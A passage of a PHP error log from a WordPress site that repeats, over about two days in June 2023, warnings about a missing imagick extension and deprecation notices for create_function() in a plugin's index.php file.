(/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 22:27:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 22:33:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 22:33:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 22:38:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 22:38:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 22:47:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 22:47:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [06-Jun-2023 23:39:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [06-Jun-2023 23:39:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 00:40:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 00:40:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 01:41:25 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 01:41:25 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 02:42:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 02:42:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 03:43:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 03:43:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 04:43:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 04:43:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 05:44:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 05:44:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 06:34:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 06:34:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 06:44:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 06:44:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 06:57:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 06:57:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 07:22:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 07:22:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 07:42:28 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 07:42:28 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 07:46:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 07:46:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 07:48:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 07:48:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 07:50:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 07:50:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 08:15:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 08:15:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 08:30:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 08:30:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 08:43:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 08:43:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 08:47:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 08:47:08 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 08:55:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 08:55:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 09:23:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 09:23:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 09:47:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 09:47:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 10:48:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 10:48:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 11:49:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 11:49:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 12:50:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 12:50:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 13:51:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 13:51:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 14:52:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 14:52:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 15:53:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 15:53:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 16:54:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 16:54:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 17:55:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 17:55:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 18:56:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 18:56:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 19:08:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 19:08:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 19:56:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 19:56:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 20:56:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 20:56:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 21:57:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 21:57:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 22:58:12 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 22:58:12 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 23:24:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 23:24:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [07-Jun-2023 23:27:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [07-Jun-2023 23:27:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 00:20:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 00:20:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 00:29:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 00:29:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 00:50:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 00:50:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 00:59:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 00:59:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 01:21:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 01:21:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 01:37:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or 